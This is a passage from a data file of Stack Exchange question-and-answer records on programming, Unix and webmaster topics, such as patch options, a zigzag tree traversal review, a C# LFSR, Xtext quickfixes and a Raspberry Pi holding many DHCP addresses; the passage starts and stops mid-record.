architecture. Get it working to the point where it works for you.How do you expect to get there?Are you doing heavy waterfall development, where you spend lots of time figuring out what is needed, and then you will go off for months, developing? If so, then you want to hit that target quality mentioned above fairly early. Get all your error checking infrastructure planned out at the start.Are you doing heavy agile development, where you are putting something together for a week or two, which will then be shown to stakeholders, who may ask for radical revisions, and where you expect to be able to iterate over many 1-2 wee sprints until you hit the target? Then you may be better off getting something working, but fragile together fast, and only adding belts-and-suspenders as the product requirements solidify.If you are in control over the waterfall or agile decision (which is actually a continuum not a binary choice) then make that decision based on expected change. If you are sure you know exactly what the end result will look like, then waterfall is your best choice. If you only have a vague notion of what you need to end up with, agile is your best choice. (Agile is more popular these days not because it is inherently better but because the second situation is far more common.)Now find your own answerFor most, the answer will lie somewhere in the middle. Answer both those questions about your project, and it should lead you in a basic direction.I can say that for myself, if I often write one-off scripts that are abysmally designed and have no error checking whatever. I also handle production code, where error handling and architecture get large amounts of attention. It all depends on what you are doing.One final caveat: If you decide you are doing one-off scripts that can be done quick-and-dirty, make sure. Unfortunately, it often happens that quick-and-dirty scripts that do something interesting get leveraged into broad usage when others notice them. Make sure that when this happens, time is given for hardening." } { "id": "_webmaster.38112" , "question": "This is going to sound terrible, but bear with me. I currently have a cron job that does a mysql dump, a git add all and commit, and a git push to bitbucket. I set this up almost a year ago, when I didn't know much about git, backups, and general web development and administration. I haven't had the time to fix this and do it properly, but the repo has now grown quite big from accumulating large temporary files from my forum, so now I have to do something and I want to do it properly this time around.What processes do semi-large websites and personal site admins use for backing up server content? Based on what I've learned since I set this up, what I'm currently think of doing is:Making changes on a development domain and committing the code frequentlyArchiving the entire site after a successful deployment from the development domainHaving automatic daily database and user-content backups. I still like the idea of backing up sqldumps with git, though. I know git isn't a backup tool and that this is beyond its purpose, but the textual queries that are exported would be easily managed by git and would save a lot of space in archives. " , "title": "What's the canonical process for backing up a website?" , "tags": "web hosting;web development;backups;administration;git" } { "id": "_webmaster.37758" , "question": "I've done searching for my answer and have tested a few solutions, but nothing has worked so far. I'm trying to get a URL like this http://baseball.sports.com to rewrite to http://pro.sports.com/baseball-index.php.However, I still need to keep the domain the same (http://baseball.sports.com). The reason being I have about 5 subdomains (baseball, football, soccer, etc.) that I want to run off the same code base (pro.sports.com). Everything is on the same server. I'd be happy to answer any other questions that would help me get a resolution. I truly appreciate any direction that can be given to me to solve this." , "title": "How can I rewrite a subdomain to go to a specific file in a specific folder?" , "tags": "apache;htaccess;redirects" } { "id": "_webmaster.101519" , "question": "I've added meta description tag weeks ago. For some reason, Google is displaying blockqoute text and text around it, in search results instead of text from description tag. Do you have any experience with such problems? What is the common way to fix this? The two tags are shown below.
Blockquote text goes here
Some text, Another text
" , "title": "google doesn't display contents of description tag in search resutls" , "tags": "seo;meta description" } { "id": "_unix.345725" , "question": "Currently I run kernel with amd64-generic config and grsecurity applied. Will making config without everything I don't need provide me somehow 'GOOD' profit? Cause compiling time and kernel size are not problems. Also small things like 'speed up boot for 0.5%' does not matter. I built PC by myself so I know necessary specs. Thank you!" , "title": "Will compiling linux kernel with low-config give any benefits compare to Ubuntu kernel?" , "tags": "linux kernel;configuration;optimization" } { "id": "_unix.291752" , "question": "Is there any way to make mouse moves faster? I'm using 4K display, and 10x acceleration still too slow." , "title": "Faster mouse acceleration on XFCE4" , "tags": "mouse" } { "id": "_codereview.45893" , "question": "Please let me know your thoughts on the code below, please be brutal. Here is the question I solved:Given a binary tree, return the zigzag level order traversal of its nodes' values. (ie, from left to right, then right to left for the next level and alternate between).For example:Given binary tree {3,9,20,#,#,15,7}, 3 / \\ 9 20 / \\ 15 7return its zigzag level order traversal as:[ [3], [20,9], [15,7]] public ArrayList> zigzagLevelOrder(TreeNode root) { ArrayList> res = new ArrayList<>(); Queue queue = new LinkedList<>(); if(root==null){ return res; } ArrayList level = new ArrayList(); level.add(root.val); res.add(level); int depth=1; queue.add(root); TreeNode empty = new TreeNode(2); queue.add(null); level = new ArrayList(); while(!queue.isEmpty()){ TreeNode curr = queue.poll(); if(curr==null){ if(!queue.isEmpty()){ queue.add(null); } else{ break; } res.add(level); level = new ArrayList(); depth++; } else{ if(depth%2==0){ if(curr.left!=null){ level.add(curr.left.val); queue.add(curr.left); } if(curr.right!=null){ level.add(curr.right.val); queue.add(curr.right); } } else{ if(curr.right!=null){ level.add(curr.right.val); queue.add(curr.right); } if(curr.left!=null){ level.add(curr.left.val); queue.add(curr.left); } } } } return res; }" , "title": "ZigZag order of a tree traversal" , "tags": "java;algorithm;interview questions" , "accepted_answer": "Just the first few steps of refactoring:ArrayList<...> reference types should be simply List<...>:List> res = new ArrayList<>();See: Effective Java, 2nd edition, Item 52: Refer to objects by their interfacesThis variable is never used, remove it:TreeNode empty = new TreeNode(2);I would avoid abbreviations like res, curr and val. They are not too readable and I suppose you have autocomplete (if not, use an IDE, it helps a lot), so using longer names does not mean more typing but it would help readers and maintainers a lot since they don't have to remember the purpose of each variable - the name would express the programmers intent and would not force readers to decode the abbreviations every time they read/maintain the code.Furthermore, if you type resu and press Ctrl+Space for autocomplete in Eclipse it founds nothing which is rather disturbing.These two lines are duplicated:level.add(curr.left.val);queue.add(curr.left);You could extract out a method for that: private void visit(List level, Queue queue, TreeNode left) { level.add(left.val); queue.add(left);}After that you might notice the similarity between the method above and the body of the following if statement:if(curr.right!=null){ level.add(curr.right.val); queue.add(curr.right);}You could use the same method here too:if (curr.right != null) { visit(level, queue, curr.right);}Of course, renaming the method's parameter will increase clarity:private void visit(List level, Queue queue, TreeNode node) { level.add(node.val); queue.add(node);}So, currently the end of the original method looks like the following:if (depth % 2 == 0) { if (curr.left != null) { visit(level, queue, curr.left); } if (curr.right != null) { visit(level, queue, curr.right); }} else { if (curr.right != null) { visit(level, queue, curr.right); } if (curr.left != null) { visit(level, queue, curr.left); }}You could remove some more duplication by moving the null check into the visit method:private void visit(List level, Queue queue, TreeNode node) { if (node == null) { return; } level.add(node.val); queue.add(node);}(I've used a guard clause here to make the code flatten.)Usage:if (depth % 2 == 0) { visit(level, queue, currentNode.left); visit(level, queue, currentNode.right);} else { visit(level, queue, currentNode.right); visit(level, queue, currentNode.left);}I would also invert the condition here to get a guard clause:if(!queue.isEmpty()){ queue.add(null);}else{ break;}Result:if (queue.isEmpty()) { break;}queue.add(null);There are seven lines between the declaration of the queue and its first usage:Queue queue = new LinkedList<>();if (root == null) { return result;}List level = new ArrayList();level.add(root.val);result.add(level);int depth = 1;queue.add(root);It could have smaller scope and could be closer to its first usage:if (root == null) { return result;}List level = new ArrayList();level.add(root.val);result.add(level);int depth = 1;Queue queue = new LinkedList<>();queue.add(root);(Effective Java, Second Edition, Item 45: Minimize the scope of local variables)" } { "id": "_unix.26501" , "question": "What's the difference between patch -p0 and patch -p1?Is there any difference at all?" , "title": "When patching what's the difference between arguments -p0 and -p1?" , "tags": "patch" , "accepted_answer": "The most common way to create a patch is to run the diff command or some version control's built-in diff-like command. Sometimes, you're just comparing two files, and you run diff like this:diff -u version_by_alice.txt version_by_bob.txt >alice_to_bob.patchThen you get a patch that contains changes for one file and doesn't contain a file name at all. When you apply that patch, you need to specify which file you want to apply it to:patch some.patchThen the patch contains file names, given in header lines like diff -ru old_version/dir/file new_version/dir/file. You need to tell patch to strip the prefix (old_version or new_version) from the file name. That's what -p1 means: strip one level of directory.Sometimes, the header lines in the patch contain the file name directly with no lead-up. This is common with version control systems; for example cvs diff produces header lines that look like diff -r1.42 foo. Then there is no prefix to strip, so you must specify -p0.In the special case when there are no subdirectories in the trees that you're comparing, no -p option is necessary: patch will discard all the directory part of the file names. But most of the time, you do need either -p0 or -p1, depending on how the patch was produced." } { "id": "_unix.251417" , "question": "I am trying to Enable Remote Connections after installing the chrome web app as well as the chrome remote desktop service as per the following article:https://support.google.com/chrome/answer/1649523?hl=enI am trying to get it working on Debian Jessie. After installation, it seemed to work briefly. i was able to RDP into my Linux box from my Mac. But after a reboot of my Linux machine, i kept getting the following error:Failed to start host servicePlease help. Thanks in advance." , "title": "chrome remote desktop gives Failed to start host service error" , "tags": "debian;chrome;remote desktop" } { "id": "_vi.9962" , "question": "Is there a way to get filetype for given extension or filenameFor example:let my_f='text.rb'let my_ft=GetFileType(my_f)echo my_ft should output ruby" , "title": "Get filetype by extension or filename in vimscript" , "tags": "vimscript" } { "id": "_unix.15012" , "question": "In my code I generate a .dat file which is of the format:x \\t y \\t z \\t charge \\t type \\t IDThere are about 3000 lines in the file and I want to display sphere (of radius 1 in my units). I tried to use paraview, pymol and rasmol. Paraview doesn't understand my file format. With pymol and rasmol I couldn't understand how they loaded my data. Do any of you know how to load data which is not in pdb format into pymol or rasmol? Also, I want to color the beads according to the last 3 properties is there any other way?I should note that I need the ability to browse through the 3d picture I get. My question might not be clear so please ask me for any clarification I might give." , "title": "How to display my data (molecules)?" , "tags": "software rec;scientific linux" , "accepted_answer": "I think it is pretty obvious -- convert your data to the format accepted by the program you would like to use (idea the program should somehow read your custom format is, ekhem, naive?)." } { "id": "_codereview.171900" , "question": "I haven't found any implementation in C# of the LFSR so accordling to Wikipedia i have implment it to myself.https://en.wikipedia.org/wiki/Linear-feedback_shift_registerMy implementation accept some parameter so can be adapted to various feedback polynomials (my refernce table)https://web.archive.org/web/20161007061934/http://courses.cse.tamu.edu/csce680/walker/lfsr_table.pdfFor the testing pahse i generate as many number as the cycle will allow before a repetiton (i use a byte to my testing purpose).EDITED (PROBLEM SOLVED IT WAS DUE A TYPO, QUESTION REPHRASED AT THE END)The strange thing is in my test the period is exactly half of what expected/declared by the paper (not (2^n)-1 but 2^(n-1)).Here is my LFSR implementation public class Register{ private bool[] _register = null ; private bool[] _feedbackPoints = new bool[256] ; private int _registerLength = 0 ; public Register ( int length, int [] feedbackPoints ) : this ( length , feedbackPoints , new byte [0] ) {} public Register ( int length, int [] feedbackPoints, byte [] seed ) { if ( length > 256 ) throw new ArgumentOutOfRangeException ( length , Alloewed vaues need to be between 1 and 256 ) ; _registerLength = length ; _register = new bool[length] ; foreach ( int feedbackPoint in feedbackPoints ) if ( feedbackPoint > 256 ) throw new ArgumentOutOfRangeException ( feedbackPoints, Alloewed vaues of item of array need to be between 1 and 256 ) ; else _feedbackPoints[feedbackPoint] = true ; byte [] randomizedSeed = this.SeedRandomization ( seed ) ; string temporaryRegisterRepresantation = string.Empty ; foreach ( byte seedItem in randomizedSeed ) temporaryRegisterRepresantation += Convert.ToString ( seedItem , 2 ) ; int index = 0 ; foreach ( char bit in temporaryRegisterRepresantation ) if ( index < length ) _register[index++] = bit == '1' ; } public bool Clock () { lock ( this ) { bool output = _register[0] ; for ( int index = 0; index < _registerLength - 1; index++ ) _register[index] = _feedbackPoints[index] ? _register [index+1] ^ output : _register [index+1] ; _register [_registerLength - 1] = output ; return output ; } } private byte[] SeedRandomization ( byte[] inputSeed ) { SHA256Managed sha256 = new SHA256Managed (); int seedLength = inputSeed.Length ; byte [] seed = new byte [seedLength] ; Array.Copy ( inputSeed , seed , seedLength ) ; Array.Resize ( ref seed , seedLength + 4 ) ; byte[] dateTime = BitConverter.GetBytes ( DateTime.Now.Ticks ) ; seed[seedLength] = dateTime[0] ; seed[seedLength+1] = dateTime[1] ; seed[seedLength+2] = dateTime[2] ; seed[seedLength+3] = dateTime[3] ; return sha256.ComputeHash ( seed , 0 , seed.Length ) ; }}And there is my testing code class Program{ static void Main ( string [] args ) { Dictionary tester = new Dictionary (); List duplicate = new List (); Register register_1 = new Register ( 8 , new int[] { 5,4,3 } ) ; for ( int index = 0; index < 256; index++ ) { bool b00 = register_1.Clock (); bool b01 = register_1.Clock (); bool b02 = register_1.Clock (); bool b03 = register_1.Clock (); bool b04 = register_1.Clock (); bool b05 = register_1.Clock (); bool b06 = register_1.Clock (); bool b07 = register_1.Clock (); BitArray bitArray = new BitArray ( new bool [] { b00, b01, b02, b03, b04, b05, b06, b07 } ); int [] array = new int [1]; bitArray.CopyTo ( array, 0 ); if ( !tester.ContainsKey ( array[0] ) ) tester.Add ( array [0], true ) ; else duplicate.Add ( array[0] ) ; } duplicate = duplicate.OrderBy ( x => x ).ToList() ; }}I have manually followed the implementation with 2bit LFSR and i see nothing wrong about it, so i would ask if there are any fallacies in my test or implementation.EDITEDI have found my fault, i have omitted to write b00 so is correct that the period is exactly half of what expected.I keep the code but renew my question, now i wold ask if you found any issue with current implementation (that seems to work with current test)." , "title": "Linear Feedback Shift Register" , "tags": "c#;cryptography" , "accepted_answer": "I totally agree with @Maxim about the spacing but need to say, that you didn't use spaces where you should for the sake of readability.This seed[seedLength] = dateTime[0] ;seed[seedLength+1] = dateTime[1] ;seed[seedLength+2] = dateTime[2] ;seed[seedLength+3] = dateTime[3] ;would be more readable if you place spaces like so seed[seedLength] = dateTime[0];seed[seedLength + 1] = dateTime[1];seed[seedLength + 2] = dateTime[2];seed[seedLength + 3] = dateTime[3]; Omitting braces {}, although they might be optional, can lead to hidden and therefor hard to track bugs. I would like to encourage you to always use them. This will avoid hidden bugs and the code looks better structured. SeedRandomization ()The SHA256Managed class implements IDisposable through inheriting HashAlgorithm so you should enclose its usage in a using block. These variables private bool[] _register = null ;private bool[] _feedbackPoints = new bool[256] ;private int _registerLength = 0 ; should be made readonly because they won't change anywhere except in the constructor.A little LINQ could simplify this foreach ( int feedbackPoint in feedbackPoints ) if ( feedbackPoint > 256 ) throw new ArgumentOutOfRangeException ( feedbackPoints, Alloewed vaues of item of array need to be between 1 and 256 ) ; else _feedbackPoints[feedbackPoint] = true ;but do you spot the spelling error which happened by using copy&pasta not carefully ? At least I would place the part about feedbackPoint > 256 at the top of the constructor where the input parameter validation belongs. A simple if (feedbackPoints.Any(p => p > 256)) { throw new ArgumentOutOfRangeException ( feedbackPoints, Allowed vaues of item of array need to be between 1 and 256 ) ;} could do the validation.But what about the length parameter ? Passing length == -1 seems valid but will throw an OverflowException at _register = new bool[length] ;. In addition the messages of the ArgumentOutOfRangeException's states ..... need to be between 1 and 256 but you only check in both cases value > 256 without checking the lower boundaries. If I read between 1 and 256 I will think that the allowed values are 2...255 but this could be because I am not native english.string temporaryRegisterRepresantation = string.Empty ;foreach ( byte seedItem in randomizedSeed ) temporaryRegisterRepresantation += Convert.ToString ( seedItem , 2 ) ; each time string += string happens a new string object is created because strings are immutable. If you want to concatenate strings in a loop most of the times it is better (time and space) to use a StringBuilder. " } { "id": "_unix.91934" , "question": "I want to know why is this argument so important when lauching nautilus or pcmanfm. What happens if i don't?Also, i want to know what is the meaning of %U for:Exec=pcmanfm %U" , "title": "--no-desktop and %U what for?" , "tags": "gnome;nautilus;arguments;file manager" , "accepted_answer": "There is an instance of Nautilus running behind the scenes that's managing your desktop, so when you run subsequent instances of Nautilus the --no-desktop is telling Nautilus not to try to manage the desktop icons etc.The %U means to pass in a list of URLS:%U A list of URLs. Each URL is passed as a separate argument to the executable program. Local files may either be passed as file: URLs or as file path.The rest of the list can be found here in the The Exec key section of the freedesktop.org documentation. Here are the rest.excerptCode Description---- -----------%f A single file name, even if multiple files are selected. The system reading the desktop entry should recognize that the program in question cannot handle multiple file arguments, and it should should probably spawn and execute multiple copies of a program for each selected file if the program is not able to handle additional file arguments. If files are not on the local file system (i.e. are on HTTP or FTP locations), the files will be copied to the local file system and %f will be expanded to point at the temporary file. Used for programs that do not understand the URL syntax.%F A list of files. Use for apps that can open several local files at once. Each file is passed as a separate argument to the executable program.%u A single URL. Local files may either be passed as file: URLs or as file path.%U A list of URLs. Each URL is passed as a separate argument to the executable program. Local files may either be passed as file: URLs or as file path.%d Deprecated.%D Deprecated.%n Deprecated.%N Deprecated.%i The Icon key of the desktop entry expanded as two arguments, first --icon and then the value of the Icon key. Should not expand to any arguments if the Icon key is empty or missing.%c The translated name of the application as listed in the appropriate Name key in the desktop entry.%k The location of the desktop file as either a URI (if for example gotten from the vfolder system) or a local filename or empty if no location is known.%v Deprecated.%m Deprecated." } { "id": "_softwareengineering.298969" , "question": "I currently experimenting with DSLs with xtext. I want to implement a quick fix for the dsl I'm writing and I'm wondering, if there is a possibility in xtext or xtend hook (or something else) to generate a dsl fragment code from the DSL grammar and a given Ecore node.For example Model: entities+=Entity*;Entity: 'entity' name = ID ('extends' superType=[Entity])? '{' attributes += Attribute* '}';I validate that the Supertype may not exist, and I want to suggest a Quickfix (Ctrl+1) to create a new Entity. I know how to do the validation part and know where to implement the quickfix. But since the DSL is in development i do not want to write two code generators (one for creating DSL code, and the second for the code derived from the model) since the DSL is subject to change. I guess, that there could be a more general solution, since the grammar is known, because of the xtext grammar definition and the Ecore node I want to create, whose name I know from the validator. I also guess I am not the only one providing such a feature and thus I assume there is already a solution which i did not found yet.My Question, is there a generic way in xtext/xtend building an ecore node or AST and serialize that AST back into xtext based DSL using the xtext grammar?" , "title": "Create parts of DSL as Quickfix from xtext grammar" , "tags": "dsl" , "accepted_answer": "Yes, there is exactly that. You can provide your quickfix as a semantic modification to the EMF resource. Xtext's serialization mechanism will figure out how to convert your changes to the AST back to text.Something along these lines should do the trick:@Fix(MISSING_SUPERTYPE_ID)public void fixupSupertype(final Issue issue, IssueResolutionAcceptor acceptor) { acceptor.accept(issue, label, description, null, new ISemanticModification() { @Override public void apply(EObject element, IModificationContext context) { Model model = (Model)element.eResource().getContents().get(0); Entity newEntity = MyDslFactory.eInstance().createEntity() model.getEntities().add(newEntity); ((Entity)element).setSuperType(newEntity); } });}" } { "id": "_unix.40920" , "question": "For example, if I did an ssh -X to localhost and invoked Firefox, would that be enough to be considered safe browsing, like if done on some public wifi?" , "title": "Is encrypting your web browsing via SSH to localhost useful?" , "tags": "ssh;security;browser;web" } { "id": "_softwareengineering.283556" , "question": "TL;DR: Can you publicly release your own implementation of a patented algorithm as a free research tool for others, under the GPL, when you do not hold the patent (but will happily give clear and thorough attribution to the owners of the patent)? see below for clarification.First off, apologies if this question has already been answered. After ~30 minutes of googling and stack-exchanging, I haven't found anything that quite answers what I'm facing.I work in an academic group and part of our work has been implementing a CT reconstruction algorithm similar to what is done clinically by a major manufacturer. This manufacturer has a patent that definitely covers what we have implemented. (I did the implementation from a paper published almost 10 years earlier, only to find that they had also patented the algorithm a little over a year ago. Damn.)They have a patent on the method of reconstruction and several of the equations utilized, but no source code or anything of the sort. The code implementation is 100% unique to our group. We're talking patents, not copyright.We are planning to write a technical note about our implementation (gpu-based, more detail on how we implemented the published algorithms (i.e. much more detail than what's patented), etc. all stuff which is not described in the patent) for publication in a major journal ** AND ** this would include releasing our source code. I would like to release it under GPLv2.0 to provide folks with a research tool.The GPL would prevent us and anyone down the road from using our code in proprietary software, and if anyone were to use it to make money, they would have to pay rights to the patent owner (and release any code derived from ours). I would like to somehow make clear that we are not claiming any rights to the algorithm, and the only the implementation would be covered by the GPL, however I recognize this distinction may not be possible under the current US legal setup (blegh).Even if we could somehow make that distinction clear when/if we release, are we violating any of their rights with the patent? I'm thinking they would have to somehow show that our release damaged their business covered by the patent. Any thoughts from more experienced folks are much appreciated! I think this may be kind of a gray area (or not! I'm not a lawyer! haha).We do NOT wish to infringe upon the patent and don't pretend to have any claim to. We have a good relationship with the vendor, so we'll most likely end up figuring it out with them, but if they said no, I was curious if it's just because of their feels or if thay have a legitimate claim against our group." , "title": "GPLing an implementation of a patented algorithm" , "tags": "algorithms;open source;gpl;patents" , "accepted_answer": "The short answerIn order to license something to others, you have to hold the rights to it. So your ability to license your code covered by the patent may depend on what you can work out with the patent holder.The long answerThere are a number of ways this can go. You can get a release from the patent holder. You can release your code and hope the patent holder doesn't care; they might not. You can come up with an algorithm that is unencumbered by the patent. You can pay a negotiated patent royalty.Whether anyone makes money from the GPL'd code may not matter, if public dissemination of the code hinders their ability to profit from the invention. The choice of license may not matter either; it's still a patent issue whether the source code is copyleft or not (though your vendor might have a preference as to which license you actually use).The actual answerThis is one of those times where it might be useful to consult an attorney that specializes in patent and licensing law. They can not only advise you how far you can go with your source code without invoking the patent, but also how an agreement can be correctly crafted between you and the vendor." } { "id": "_codereview.14503" , "question": "I'm very very fresh to programming. This is one of my first experiments with Python and I'm wondering in what ways I could have made this program less clunky. Specifically, is there a way that I could have used classes instead of defining my x, y, and z variables globally?def getx(): try: global x x = float(raw_input(Please give your weight (pounds): )) return x except ValueError: print(Use a number, silly!) getx()def gety(): try: global y y = float(raw_input(what is your current body fat percentage? (>1): )) return y except ValueError: print(Use a number, silly!) gety()def getz(): try: global z z = float(raw_input(What is your desired body fat percentage? (>1): )) return z except ValueError: print(Use a number, silly!) getz()def output(): getx() gety() getz() A = (x*(y/100-z/100))/(1-z/100) B = x - A print(Your necessary weight loss is %.1f pounds, and \\your final weight will be %.1f pounds % (A,B)) more()def more(): again = raw_input(Calculate again? ) if again.lower() == yes or \\ again.lower() == y or \\ again.lower() == sure or \\ again.lower() == ok or \\ again.lower() == or \\ again.lower() == okay: output() elif again.lower() == no or \\ again.lower() == n or \\ again.lower() == nah or \\ again.lower() == nope: end() else: more()def end(): print(Ok, see ya later!)output()" , "title": "Python beginner's body fat calculator" , "tags": "python;beginner;calculator" } { "id": "_softwareengineering.189542" , "question": "BackgroundI revisited an old (but great) site I had not been to for ages - the Alioth Language Shootout (http://benchmarksgame.alioth.debian.org/).I started out programming in C/C++ several years ago, but have since then been working almost exclusively in Java due to language constraints in the projects I have been involved in. Not remembering the figures, I wanted to see, approximately, how well Java fared against C/C++ in terms of resource usage.The execution times were still relatively good, with Java at worst performing 4x slower than C/C++, but on average around (or below) 2x. Due to the nature of the implementation of Java itself, this was no surprise, and it's performance time was actually lower than what I expected.The real brick was the memory allocation - at worst, Java allocated: a whopping 52x more memory than Cand 25x more than C++. 52x the memory ... Absolutely nasty, right? ... or is it? Memory is comparatively cheap now.Question:If we do not speak in terms of target platforms with strict limits on working memory (i.e. embedded systems and the like), should memory usage be a concern when picking a general purpose language today? I am asking in part because I am considering migrating to Scala as my primary language. I very much like the functional aspects of it, but from what I can see it is even more expensive in terms of memory than Java. However, since memory seems to be getting faster, cheaper and more plentiful by the year (it seems to be increasingly hard to find a consumer laptop without at least 4GB of DDR3 RAM), could it not be argued that resource management is becoming increasingly more irrelevant as compared to (possibly implementation-wise expensive) high-level language features which allow for faster construction of more readable solutions?" , "title": "Is memory management in programming becoming an irrelevant concern?" , "tags": "java;programming languages;scala;resources;engineering" , "accepted_answer": "Memory management is utterly relevant since it governs how fast something appears even if that something has a great deal of memory. The best and most canonical example are AAA-title games like Call of Duty or Bioshock. These are effectively real-time applications that require massive amounts of control in terms of optimization and usage. It's not the usage per se that's the issue but rather the management.It comes down to two words: Garbage Collection. Garbage Collection algorithms can cause slight hiccups in performance or even cause the application to hang for a second or two. Mostly harmless in an accounting app but potentially ruinous in terms of user experience in a game of Call of Duty. Thus in applications where time matters, garbage collected languages can be hugely problematic. It's one of the design aims of Squirrel for instance, which seeks to remedy the issue that Lua has with its GC by using reference counting instead.Is it more of a headache? Sure but if you need precise control, you put up with it." } { "id": "_unix.290265" , "question": "I temporarily had a static ip for my raspberry. Now the config looks like this./etc/network/interfacesauto loiface lo inet loopbackauto eth0iface eth0 inet dhcpBut this leads to a reservation of the complete range of the availble dhcp ips.$ ip a1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever inet6 ::1/128 scope host valid_lft forever preferred_lft forever2: eth0: mtu 1500 qdisc pfifo_fast state UP group default qlen 1000 link/ether b8:27:eb:94:90:82 brd ff:ff:ff:ff:ff:ff inet 192.168.2.29/24 brd 192.168.2.255 scope global eth0 valid_lft forever preferred_lft forever inet 192.168.2.30/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.31/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.32/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.33/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.34/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.35/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.36/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.37/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.38/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.39/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.41/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.42/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.43/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.44/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.45/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.40/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.46/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.47/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.49/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.50/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.51/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.52/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.53/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.54/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.55/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.56/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.57/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.58/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.59/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.60/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.61/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.62/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.63/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.64/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.65/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.66/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.67/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.68/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.69/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.70/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.71/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.72/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.73/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.74/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.75/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.77/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.78/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.79/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.80/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.81/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.82/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.83/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.84/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.85/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.86/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.87/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.88/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.89/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.90/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.91/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.92/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.93/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.94/24 brd 192.168.2.255 scope global secondary eth0 valid_lft forever preferred_lft forever inet 192.168.2.95/24 brd 192.168.2.255 scope global 